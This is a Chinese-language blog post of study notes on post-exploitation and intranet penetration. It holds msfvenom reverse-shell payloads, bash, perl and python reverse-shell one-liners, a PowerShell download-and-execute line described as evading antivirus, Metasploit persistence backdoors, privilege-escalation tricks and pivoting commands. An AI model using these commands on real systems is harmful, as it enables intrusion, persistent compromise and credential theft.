文章目录
  1. 前言
  2. 渗透初探
    1. 一个概念:
  3. msf shell
    1. 反向shell
    2. 正向shell
  4. 其他的各种各样的姿势的反弹shell:
  5. 使用SSH通道:
  • 拿到shell后的两个方向
    1. 如果是低权限的机器,就提权:
    2. 一些其他的办法:
  • 后门
    1. Msf的持续后门:
    2. Msf自动运行脚本
    3. 使用persistence和autorunscript留后门的方法是:
    4. 绕过拦截的计划任务:
  • 网络分析
    1. 查看本机网络信息
    2. 使用代理探测内网
      1. 正向代理:Regeorg + proxychains (win下用proxycap)
      2. 反向代理:路由表+socks4a+proxychains
        1. Proxychains 不支持ICMP协议,nmap要加-sT 和 -Pn 参数。
      3. 使用nmap探测内网服务
      4. 通过跳板对内网爆破
      5. 通过跳板转发端口
        1. 关注的两个点:
  • 分析网络
    1. 参考文章:
  • 0基础内网渗透思路整理与工具使用

    前言

    上个学期一直在学关于审计方面的知识,前几天ST2漏洞大火,随便打一个就是root权限,我却拿着root权限不知如何继续进行。因为这个,发现了自己对渗透知识的缺失,因此用了两周左右的时间学习补充了一下内网渗透的知识,看了不少大牛的文章,膜拜之余还是做了一些笔记的。到渗透入门结束之余,打算自己整理一下最近学习到的知识,写一篇文章。

    渗透初探

    一个概念:

    1. 正向shell:攻击者连接被攻击者机器,可用于攻击者处于内网,被攻击者处于公网的情况。
      攻击者-->被攻击者
      
    2. 反向shell:被攻击者主动连接攻击者,可用于攻击者处于外网,被攻击者处于内网的情况。
      攻击者<--被攻击者
      

    msf shell

    反向shell

    正向shell

    1. Linux:msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.1.102 lport=4444 -f elf -o isshell
      linux_shell.jpg
    2. Windows:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b ‘\\x00’ LHOST=121.196.209.139 LPORT=4444 -f exe > abc.exe
      windows_shell.jpg
    3. Android:msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=5555 R > /root/apk.apk
      andioid_shell.jpg

    其他的各种各样的姿势的反弹shell:

    1. bash:bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
    2. perl: perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
    3. python: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

    使用SSH通道:

    Ssh -qTfnN -L port:host:hostport -l user remote_ip 正向隧道,监听本地port
    Ssh -qTfnN -R port:host:hostport -l user remote_ip 反向隧道,用于内网穿透防火墙限制之类
    Ssh -qTfnN -D port remotehost 直接进行socks代理
    参数:
    -q 安静模式
    -T 不占用shell
    -f 后台运行,推荐加-n参数
    -N 不执行远程命令

    SSH端口转发:
    Ssh -CfNg -L port1:127.0.0.1:port2 user@host 本地转发
    Ssh -CfNg -R port2:127.0.0.1:port1 user@hsst 远程转发


    拿到shell后的两个方向

    如果是低权限的机器,就提权:

    1. 检查操作系统发行版本:lsb_release -a
      lsb.jpg
    2. 查看内核版本:uname -a
      uname.jpg

    依据系统的内核,寻找对应的exp提权:
    根据内核寻找exp的网站: https://www.kernel-exploits.com/ ,也可以用kali下的searchsploit命令
    search.jpg
    如果尝试的所有的exp都失败了,可以试一试新版本内核的exp。但是注意,内核exp提权有崩溃系统的风险。

    一些其他的办法:

    1. 利用SUID提权
      SUID是一种属性,他允许用户执行的文件以该文件的拥有者身份运行。3.81的nmap中可以使用交互模式以root执行任意系统命令。
    2. 环境变量劫持的方法提权
    3. Passwd文件是否可写,可写则修改密码登录
      passwd.jpg
    4. Shadow是否可读,可读则使用hashcat或john暴力破解
      shadow.jpg
    5. 使用web端的一些密码测试root密码是否相同
    6. 使用命令 ls -l /etc/cron* 查看计划任务,也许会有脚本使自己成为root用户
      cron.jpg
    7. 使用命令 netstat -antup查看服务,有没有什么神奇的服务,可以用nc转发出来。
      antup.jpg
    8. 相关工具:https://www.securitysift.com/download/linuxprivchecker.py 详细地列出网卡信息,主机信息,passwd文件,开启服务等等信息。

    提权的方法复杂而多样,主要的手段还是第一种的使用exp提权。在尝试所有的提权方法之后依然不能成功,那么可以使用这台主机作为跳板进行内网的进一步渗透。

    后门

    Msf的持续后门:

    1. Persistence: run persistence -h:用于创建启动项启动,会创建注册表,创建文件。(X86_Linux不支持此脚本)
    2. Run metsvc -h :用于创建服务,会创建meterpreter服务,并上传三个文件,容易被杀(我的msf版本不支持)使用-r参数可以卸载服务
    3. Mof_ps_persist

      Msf自动运行脚本

      Autorunscript,一个十分强大的脚本,可以在生成会话的同事,执行指定的操作。可以通过autorunscript调用的脚本有6个,目录metasploit/scripts/meterpreter,有屏幕截图,获取环境变量等等。

      使用persistence和autorunscript留后门的方法是:

      1
      2
      3
      4
      5
      6
      7
      Use explit/multi/handler
      Set payload windows/meterpreter/reverse_tcp
      Set lhost ***
      Set lport ***
      Set ExitOnSession false
      Set AutoRunScript persistence -r *** -p 7231 -U -X -I 30
      Exploit -j -z

    绕过拦截的计划任务:

    1. 构造创建计划任务:schtasks /create /tn mytask /tr notepad.exe /sc hourly /mo 1 #每小时执行一次
      计划任务.jpg
    2. powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://a.com/1.ps1');" 保存以上命令到1.ps一,通过IEX下载执行。
      计划报毒.jpg

    powershell 计划之情.jpg

    1. 本机测试时360第二种报毒,第一种通过。

    网络分析

    查看本机网络信息

    ipconfig

    使用代理探测内网

    正向代理:Regeorg + proxychains (win下用proxycap)

    1. Regeorg: https://github.com/sensepost/reGeorg
      regeorg.jpg
      上传服务器可执行的tunnel文件,在本机执行:python reGeorgSocksProxy.py -p 2333 -u http://aaaaaa.com/tunnel.php
    2. Proxychains: https://github.com/rofl0r/proxychains-ng
      proxychains.png
      配置文件 vim /etc/proxychains.conf
      在最后一行添加socks5 127.0.0.1 2333(与regeorg端口相同)
      使用时,在执行的命令前加proxhchains 4, 比如:proxychains4 nmap -sT -Pn -n 127.0.0.1

      反向代理:路由表+socks4a+proxychains

      在msf中如果拿到一个meterpreter shell,有一个很简单的添加路由表的方法:run autoroute -s 192.168.122.0/24,添加完路由表后,msf框架就可以使用跳板进行对192.168.122.0/24的网络访问了。
      若要使用nmap一类的工具,需要使用msf框架中的socks4a工具代理,目录:auxiliary/server/socks4a
      socks4a.png

    开启socks4a后可以用netstat -antp | grep 1080来检查一下是否成功。
    nmap.png

    Proxychains 不支持ICMP协议,nmap要加-sT 和 -Pn 参数。

    使用nmap探测内网服务

    1. 如果只探测服务,则查看hosts,扫描特定的服务。
    2. 如果为了探测整个内网,则全网段扫描。

    通过跳板对内网爆破

    kali工具包中的Hydra可以爆破SSH。
    SSHbaopo.png

    通过跳板转发端口

    使用msf的portfwd工具可以转发内网ip的端口。
    portfwd.png

    portfwd2.png

    关注的两个点:

    1. 寻找交换机路由器,尝试snmp弱口令。关于snmp的知识:http://wooyun.jozxing.cc/static/drops/tips-409.html
    2. 通过收集到的信息,编写字典,对ftp,ssh,dbserver进行爆破。
    3. 对内网的web服务进行攻击,内网的web弱口令更普遍。

    为扩大控制范围,优先控制交换机路由器等网络设备。


    分析网络

    假设控制路由器,通过路由器收集以下信息:

    1. 设备配置
    2. 查看相关权限与exp提权
    3. 查看版本信息
    4. 查看ip地址
    5. 活动主机
    6. 构建拓扑图

    之后可以通过流量监控获取更多数据,进行深入的渗透。后面的内容我就没有学习了,笔记戛然而止!

    参考文章:

    1. https://www.waitalone.cn/linux-shell-rebound-under-way.html
    2. http://www.tuicool.com/articles/j2eayaF
    3. http://wooyun.jozxing.cc/static/drops/tips-16116.html
    4. https://www.secpulse.com/archives/51092.html
    5. http://wooyun.jozxing.cc/static/bugs/wooyun-2015-097180.html

    本文首发于http://bobao.360.cn/learning/detail/3683.html(原创),安全客要求自己博客需要注明,就写在这里啦。

    支持一下
    扫一扫,支持forsigner